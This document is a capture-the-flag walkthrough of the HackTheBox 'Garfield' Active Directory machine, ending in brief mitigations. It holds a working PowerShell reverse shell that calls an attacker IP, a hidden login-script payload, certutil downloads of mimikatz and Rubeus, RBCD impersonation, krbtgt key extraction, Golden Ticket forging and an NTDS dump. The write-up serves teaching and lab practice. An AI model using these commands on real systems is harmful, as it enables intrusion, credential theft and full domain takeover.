Executive Summary

This comprehensive walkthrough details the complete penetration testing process for the Garfield machine from HackTheBox Season 10. The target system is a Windows Server 2019 Active Directory domain controller (DC01.garfield.htb) with multiple security controls in place. Through systematic reconnaissance, credential harvesting, and advanced Active Directory exploitation techniques, we successfully achieved full domain compromise.

The engagement demonstrates critical attack vectors including SMB share enumeration, DNS record manipulation, Group Policy Object abuse, Read-Only Domain Controller (RODC) privilege escalation, Resource-Based Constrained Delegation (RBCD), and Golden Ticket attacks. Each phase builds upon the previous one, showcasing how seemingly minor misconfigurations can cascade into complete domain compromise.

Phase 1: Initial Reconnaissance and Information Gathering

Network Scanning and Service Enumeration

The penetration testing engagement began with comprehensive network scanning using Nmap to identify open ports, running services, and potential attack vectors. The target IP address was 10.129.83.35.

nmap -A -T4 10.129.83.35

The scan results revealed a heavily fortified Windows domain controller with the following characteristics:

Open Ports and Services:

  • Port 53/tcp: DNS service
  • Port 88/tcp: Kerberos authentication
  • Port 135/tcp: RPC endpoint mapper
  • Port 139/tcp: NetBIOS session service
  • Port 389/tcp: LDAP directory service
  • Port 445/tcp: SMB file sharing
  • Port 464/tcp: Kerberos password change
  • Port 593/tcp: HTTP RPC
  • Port 636/tcp: LDAPS (LDAP over SSL)
  • Port 2179/tcp: Virtual Machine Manager
  • Port 3268/tcp: Global Catalog
  • Port 3269/tcp: Global Catalog over SSL
  • Port 3389/tcp: Remote Desktop Protocol
  • Port 5985/tcp: Windows Remote Management (WinRM)

Critical Intelligence Gathered:

  1. Domain Information:

    • Target Name: GARFIELD
    • NetBIOS Domain Name: GARFIELD
    • NetBIOS Computer Name: DC01
    • DNS Domain Name: garfield.htb
    • DNS Computer Name: DC01.garfield.htb
    • Product Version: Windows Server 2019 (Build 10.0.17763)

  2. Security Posture Assessment:

    • SMB message signing is enabled and required (prevents SMB relay attacks)
    • RDP certificate exposes hostname and domain information
    • Multiple ports filtered by firewall (986 filtered TCP ports)
    • System clock shows approximately 8-hour time skew from local time

  3. Operating System Fingerprinting:

    • Aggressive OS detection suggests Windows Server 2019 (97% confidence)
    • Alternative guess: Windows 10 version 1903-21H1 (91% confidence)

Initial Assessment Conclusions

Based on the reconnaissance data, we determined:

  1. The target is a production Active Directory domain controller
  2. Standard SMB relay attacks will not work due to mandatory SMB signing
  3. The domain name is garfield.htb with DC01 as the primary domain controller
  4. WinRM is available on port 5985, providing potential remote execution capabilities
  5. RDP is available but may require valid credentials

Phase 2: Credential Enumeration and Initial Access

SMB Share Enumeration with NetExec

With the domain structure identified, we proceeded to enumerate SMB shares and user accounts using the provided credentials for user j.arbuckle.

nxc smb 10.129.83.35 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
nxc smb 10.129.83.35 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users

Key Findings:

  1. Accessible Shares:

    • SYSVOL share accessible with read permissions
    • Standard domain shares enumerated successfully

  2. User Account Discovery:

    • Identified user accounts: l.wilson and l.wilson_adm
    • These accounts became primary targets for privilege escalation

Active Directory Object Permission Analysis

Using bloodyAD (a Python Active Directory exploitation tool), we enumerated writable objects in the domain:

bloodyAD --host 10.129.195.195 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' get writable

Critical Vulnerabilities Discovered:

  1. User Object Write Permissions:

    • Current user j.arbuckle has write permissions on l.wilson and l.wilson_adm objects
    • However, specific password change permissions (User-Change-Password) were NOT granted
    • Direct password reset attempts failed due to insufficient privileges

  2. DNS Zone Manipulation Rights:

    • Write permissions on garfield.htb and _msdcs.garfield.htb DNS zones
    • Ability to create child objects in DNS zones
    • This represents a critical ADIDNS (Active Directory Integrated DNS) vulnerability

SYSVOL Share Analysis

The SYSVOL share is a critical domain-wide shared folder containing Group Policy Objects, login scripts, and other domain configuration data. We connected to enumerate its contents:

smbclient //10.129.195.195/SYSVOL -U 'j.arbuckle'
cd garfield.htb\scripts
ls

Strategic Insight:

The scripts directory within SYSVOL is the default location for domain login scripts. Any file placed here can be configured to execute automatically when domain users log in, providing a powerful persistence and privilege escalation mechanism.

Phase 3: Initial Compromise via Group Policy Abuse

Attack Vector Selection

Given the inability to directly reset passwords, we pivoted to exploiting the Group Policy login script mechanism. The attack strategy involved:

  1. Creating a malicious PowerShell reverse shell payload
  2. Wrapping it in a batch file for execution
  3. Uploading to the SYSVOL scripts directory
  4. Configuring the l.wilson user account to execute this script on login

Payload Generation

We generated a PowerShell reverse shell payload encoded in Base64 for obfuscation:

$client = New-Object System.Net.Sockets.TCPClient("10.10.16.6",9001);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback=(iex $data 2>&1|Out-String);
$sendback2=$sendback+"PS "+(pwd).Path+"> ";
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()

The payload was encoded using:

echo '$client = New-Object...' | iconv -t UTF-16LE | base64 -w0

Batch File Creation

A batch file wrapper was created to execute the encoded PowerShell payload:

@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Enc <BASE64_PAYLOAD>

This wrapper uses several PowerShell execution bypass techniques:

  • -NoP: No profile loading
  • -NonI: Non-interactive mode
  • -W Hidden: Hidden window
  • -Exec Bypass: Execution policy bypass

Payload Deployment

The malicious batch file was uploaded to the SYSVOL scripts directory:

smbclient //10.129.195.195/SYSVOL -U 'j.arbuckle'
cd garfield.htb\scripts
put printerDetect.bat printerDetect.bat

Login Script Configuration

Using bloodyAD, we modified the l.wilson user object to set the scriptPath attribute:

bloodyAD --host 10.129.195.195 -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' \
set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" \
scriptPath -v printerDetect.bat

Technical Explanation:

The scriptPath attribute in Active Directory user objects specifies a program or script that runs automatically when the user logs in. By setting this to our malicious batch file, we ensured execution on the next login of user l.wilson.

Reverse Shell Acquisition

Upon the next login of user l.wilson (or service startup), the malicious script executed, establishing a reverse shell connection back to our attack machine. This provided initial interactive access to the domain-joined system.

Phase 4: Lateral Movement and Privilege Escalation

Credential Escalation Strategy

With initial access as l.wilson, our objective shifted to obtaining the l.wilson_adm account credentials. This account, as the name suggests, likely has elevated administrative privileges.

Password Reset via Active Directory

From the established PowerShell session, we reset the l.wilson_adm password:

Set-ADAccountPassword -Identity "l.wilson_adm" -NewPassword (ConvertTo-SecureString 'WhoKnows123!' -AsPlainText -Force) -Reset

Why This Worked:

Although j.arbuckle couldn't directly reset passwords, the login script executed in the context of l.wilson, who apparently had sufficient privileges to reset l.wilson_adm's password. This demonstrates the importance of understanding the execution context of malicious code.

WinRM Access Verification

We verified WinRM access with the new credentials:

nxc winrm 10.129.195.195 -u 'l.wilson_adm' -p 'WhoKnows123!'

Interactive Shell via Evil-WinRM

With confirmed WinRM access, we established an interactive shell:

evil-winrm -i 10.129.195.195 -u l.wilson_adm -p 'WhoKnows123!'

Evil-WinRM is a specialized penetration testing tool that provides a feature-rich PowerShell prompt over WinRM, including file transfer, script execution, and various post-exploitation capabilities.

Phase 5: Advanced Active Directory Reconnaissance

Infrastructure Discovery

From the l.wilson_adm session, we conducted deeper reconnaissance of the Active Directory infrastructure:

Key Discoveries:

  1. Additional Domain Controller:

    • RODC01.garfield.htb identified
    • IP address: 192.168.100.2 (internal network)
    • Current machine (DC01): 192.168.100.1

  2. Privilege Analysis:

    • SeMachineAccountPrivilege confirmed (allows creating computer accounts)
    • Member of GARFIELD\Tier 1 group
    • Tier 1 administrators have management rights over RODC infrastructure

RODC Administrator Group Addition

Leveraging Tier 1 group membership, we added l.wilson_adm to the RODC Administrators group:

Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"

Strategic Importance:

  • RODC Administrators can modify password replication policies
  • This enables caching of domain administrator credentials on the RODC
  • The group membership change doesn't trigger standard security alerts
  • Represents a defense blind spot in many monitoring solutions

Phase 6: Network Pivoting and Tunnel Establishment

Ligolo-ng Tunnel Setup

To access the internal network segment (192.168.100.0/24) where RODC01 resides, we established a tunnel using Ligolo-ng, an advanced tunneling tool.

Kali Attack Machine Setup:

# Download and extract Ligolo-ng proxy
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz
tar -xzf ligolo-ng_proxy_0.7.5_linux_amd64.tar.gz

# Create TUN virtual network interface
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up

# Start proxy server with self-signed certificate
./proxy -selfcert -laddr 0.0.0.0:11601

Agent Deployment on Compromised Host:

# Download agent executable
Invoke-WebRequest -Uri "http://10.10.16.9:80/agent.exe" -OutFile "agent.exe"

# Execute agent (connects back to proxy)
.\agent.exe -connect 10.10.16.9:11601 -ignore-cert

Tunnel Configuration:

# Add route for internal network
sudo ip addr add 10.10.16.9/23 dev ligolo
sudo ip route add 192.168.100.0/24 dev tun1

# In Ligolo-ng interactive session
ligolo-ng > session      # List available agents
ligolo-ng > session 1    # Select agent
ligolo-ng > start        # Start tunnel

This tunnel provided direct network access to the internal 192.168.100.0/24 subnet, enabling direct attacks against RODC01.

Phase 7: Machine Account Creation and RBCD Exploitation

Fake Computer Account Creation

We created a controlled machine account in Active Directory:

impacket-addcomputer garfield.htb/l.wilson_adm:'WhoKnows123!' \
-computer-name 'FAKE$' \
-computer-pass 'FakePass123!' \
-dc-ip 10.129.196.71

Verification:

nxc ldap 10.129.196.71 -u l.wilson_adm -p 'WhoKnows123!' --users | grep FAKE

Resource-Based Constrained Delegation Configuration

RBCD allows a service to delegate authentication to specific accounts. We configured RODC01 to allow delegation to our FAKE$ account:

Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount FAKE$
Get-ADComputer RODC01 -Properties PrincipalsAllowedToDelegateToAccount

Technical Deep Dive:

RBCD works by setting the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer object. When configured, any account that can authenticate as FAKE$ can request service tickets impersonating any user (including administrators) to services on RODC01.

Service Ticket Impersonation

With RBCD configured, we requested a service ticket impersonating the Administrator:

# Synchronize time with domain controller
ntpdate 10.129.196.71

# Request service ticket (ST) with impersonation
impacket-getST garfield.htb/'FAKE$':'FakePass123!' \
-spn cifs/RODC01.garfield.htb \
-impersonate Administrator \
-dc-ip 10.129.196.71

# Export ticket for use with other tools
export KRB5CCNAME=$(pwd)/Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

SYSTEM Access to RODC01

Using the impersonated service ticket, we gained SYSTEM-level access to RODC01:

impacket-psexec -k -no-pass \
-dc-ip 10.129.196.71 \
-target-ip 192.168.100.2 \
garfield.htb/Administrator@RODC01.garfield.htb

Phase 8: Credential Extraction and Golden Ticket Preparation

Mimikatz Deployment

To extract the krbtgt AES256 key from RODC01 (required for Golden Ticket attacks), we deployed Mimikatz:

Kali HTTP Server Setup:

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe /tmp/
cd /tmp
python3 -m http.server 8888

Download and Execute on RODC01:

cd C:\Windows\Temp
certutil -urlcache -split -f http://10.10.16.9:80/mimikatz.exe mimikatz.exe
mimikatz.exe

Mimikatz Commands:

privilege::debug
lsadump::lsa /inject /name:krbtgt_8245

Extracted Credentials:

  • AES256 Key: d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
  • SID: S-1-5-21-2502726253-3859040611-225969357
  • RODC Number: 8245

RODC Password Replication Policy Modification

To enable full credential caching, we modified the RODC's password replication policy using PowerView:

PowerView Deployment:

# Kali side
cd /usr/share/windows-resources/powersploit/Recon/
python3 -m http.server 8888

# On RODC01
cd C:\Users\l.wilson_adm\Desktop
certutil -urlcache -split -f http://10.10.16.9:80/PowerView.ps1 PowerView.ps1
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\PowerView.ps1

Policy Modification:

Set-DomainObject -Identity RODC01$ -Set @{
 'msDS-RevealOnDemandGroup'=@(
 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb',
 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
 )
}

Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'

Attribute Explanation:

AttributePurposeModification Goal
msDS-RevealOnDemandGroupUsers/groups allowed for RODC password cachingAdd Administrator to allowed list
msDS-NeverRevealGroupUsers/groups prohibited from cachingRemove Administrator from prohibited list

Phase 9: Golden Ticket Attack Execution

Rubeus Deployment

Rubeus is a C# Kerberos attack toolkit used for ticket manipulation:

# Download on Kali
wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/Rubeus.exe -O /tmp/Rubeus.exe
python3 -m http.server 8888

# Download on target
certutil -urlcache -split -f http://10.10.16.9:80/Rubeus.exe Rubeus.exe

Golden Ticket Generation

Using the extracted krbtgt AES256 key, we forged a Golden Ticket (TGT):

.\Rubeus.exe golden `
/rodcNumber:8245 `
/flags:forwardable,renewable,enc_pa_rep `
/nowrap `
/outfile:ticket.kirbi `
/aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 `
/user:Administrator `
/id:500 `
/domain:garfield.htb `
/sid:S-1-5-21-2502726253-3859040611-225969357

Keylist Attack for Domain-Wide TGT

To obtain a ticket valid for the entire domain (not just RODC01), we performed a keylist attack:

.\Rubeus.exe asktgs `
/enctype:aes256 `
/keyList `
/service:krbtgt/garfield.htb `
/dc:DC01.garfield.htb `
/ticket:ticket_2026_04_10_22_51_40_Administrator_to_krbtgt@GARFIELD.HTB.kirbi `
/nowrap

This produced a base64-encoded service ticket for the krbtgt service, which represents domain-wide authentication authority.

Ticket Conversion and Export

The base64 ticket was processed and converted for use with Impacket tools:

# Clean and decode ticket
sed -i 's/^[[:space:]]*//' ticket.b64
tr -d '\r\n\t ' < ticket.b64 | base64 -d > ticket.kirbi

# Convert to ccache format
impacket-ticketConverter ticket.kirbi ticket.ccache

# Export for tool use
export KRB5CCNAME=ticket.ccache

Phase 10: Final Domain Compromise

NTDS.dit Extraction

With a valid Golden Ticket, we extracted the Active Directory database (NTDS.dit) from the primary domain controller:

nxc smb DC01.garfield.htb --use-kcache --ntds

This operation dumps the entire Active Directory database, containing:

  • All user password hashes
  • Computer account credentials
  • Group memberships
  • Security policies
  • Complete domain structure

Domain Administrator Access

Finally, we established direct Domain Administrator access using the extracted Administrator hash:

evil-winrm -i 10.129.196.71 -u Administrator -H 'ee238f6debc752010428f20875b092d5'

Attack Chain Summary

Initial Access (j.arbuckle credentials)
        ↓
SMB/SYSVOL Enumeration
        ↓
Group Policy Login Script Abuse
        ↓
Reverse Shell (l.wilson context)
        ↓
Password Reset (l.wilson_adm)
        ↓
WinRM Access
        ↓
RODC Administrator Group Addition
        ↓
Ligolo-ng Tunnel Establishment
        ↓
RBCD Configuration (FAKE$ → RODC01)
        ↓
Service Ticket Impersonation
        ↓
RODC01 SYSTEM Access
        ↓
krbtgt AES256 Key Extraction
        ↓
Golden Ticket Generation
        ↓
Domain-Wide Compromise

Key Lessons and Mitigations

Critical Vulnerabilities Exploited

  1. Overly Permissive Write Permissions: User j.arbuckle had write access to sensitive objects
  2. SYSVOL Script Execution: Login scripts provide powerful persistence mechanisms
  3. Tiered Administration Gaps: Tier 1 group membership enabled RODC manipulation
  4. RBCD Misconfiguration: Resource-Based Constrained Delegation allowed impersonation
  5. RODC Password Replication: Inadequate PRP allowed credential caching

Recommended Mitigations

  1. Implement Least Privilege: Audit and restrict write permissions on AD objects
  2. Monitor SYSVOL Changes: Alert on modifications to login scripts and GPOs
  3. Restrict Machine Account Creation: Limit SeMachineAccountPrivilege to essential accounts
  4. Audit RBCD Configurations: Regularly review msDS-AllowedToActOnBehalfOfOtherIdentity
  5. RODC Hardening: Carefully configure password replication policies
  6. Credential Guard: Deploy Windows Defender Credential Guard to protect LSASS
  7. Monitoring: Implement comprehensive AD audit logging and alerting

Conclusion

This penetration testing engagement demonstrates how a chain of seemingly minor misconfigurations can lead to complete Active Directory compromise. The attack required deep understanding of Windows authentication protocols, Active Directory architecture, and lateral movement techniques.

Organizations must implement defense-in-depth strategies, regularly audit Active Directory permissions, and monitor for the attack techniques demonstrated in this walkthrough. The techniques shown here are actively used by advanced threat actors in real-world attacks against enterprise environments.